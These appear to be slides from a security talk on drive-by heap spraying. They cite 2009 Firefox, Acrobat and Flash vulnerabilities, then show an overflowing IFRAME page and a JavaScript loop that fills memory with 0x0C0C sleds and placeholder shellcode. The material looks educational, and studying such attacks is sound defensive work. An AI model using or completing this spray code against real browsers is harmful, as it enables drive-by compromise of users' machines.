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Heap Spraying is a Problem

Firefox 3.5
July 14, 2009

http://www.web2secure.com/2009/07/mozilla-firefox-35-heap-spray.html

Adobe Acrobat / Reader 
February 19, 2009

Flash
July 23, 2009

http:// blog.fireeye.com/research/2009/07/actionscript_heap_spray.html

Common Element: 
All vulnerable  applications support 
embedded scripting languages
(JavaScript, ActionScript, etc.)
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Drive-By Heap Spraying
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Owned!



Drive-By Heap Spraying (2)
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<HTML>

<SCRIPT language="text/ javascript ">

shellcode = unescape ("%u4343%u4343%...'');

</SCRIPT>

<IFRAME 

SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB é 

NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC é

&#3341;&#3341;">

</IFRAME>

</HTML>
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Drive-By Heap Spraying (3)
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<SCRIPT language="text/ javascript ">

shellcode = unescape ("%u4343%u4343%...'');

oneblock = unescape ("%u0C0C%u0C0C");

var fullblock = oneblock ;

while ( fullblock.length <0x40000) {

fullblock += fullblock ;

}

sprayContainer = new Array();

for (i=0; i<1000; i++) {

sprayContainer [ i ] = fullblock + shellcode ;

}

</SCRIPT>
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